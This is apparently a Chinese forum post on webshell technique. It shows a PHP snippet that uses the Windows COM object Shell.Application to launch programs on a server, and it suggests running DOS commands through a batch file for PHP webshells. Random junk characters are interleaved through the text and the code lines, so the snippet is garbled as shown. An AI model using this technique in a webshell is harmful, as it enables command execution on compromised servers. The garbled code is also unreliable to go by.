关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
7 }4 a. W9 a$ |1 P2 K+ M- N* _9 Q7 @+ e- M- Y) b$ K" {2 S9 Z0 ~/ x
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
3 ^! f0 n: Y9 B- s. N# m
/ y% c4 C2 V j1 T7 R- Z& r<?php6 ]* `) J! f+ d0 v3 @8 _
$wsh = new COM('Shell.Application') or die("Shell.Application");
+ [3 w8 B" q/ w4 z5 M9 F $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");: m Y3 K- B/ [5 F$ s0 R
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
, p5 l# H4 x! [# v6 T?>+ ^, [( L8 ^. `
- I5 U9 ]# @' R2 D6 n* g* q
xp+APMServ5.2.0测试通过。
4 m% Y" E J6 h5 u6 @+ [ |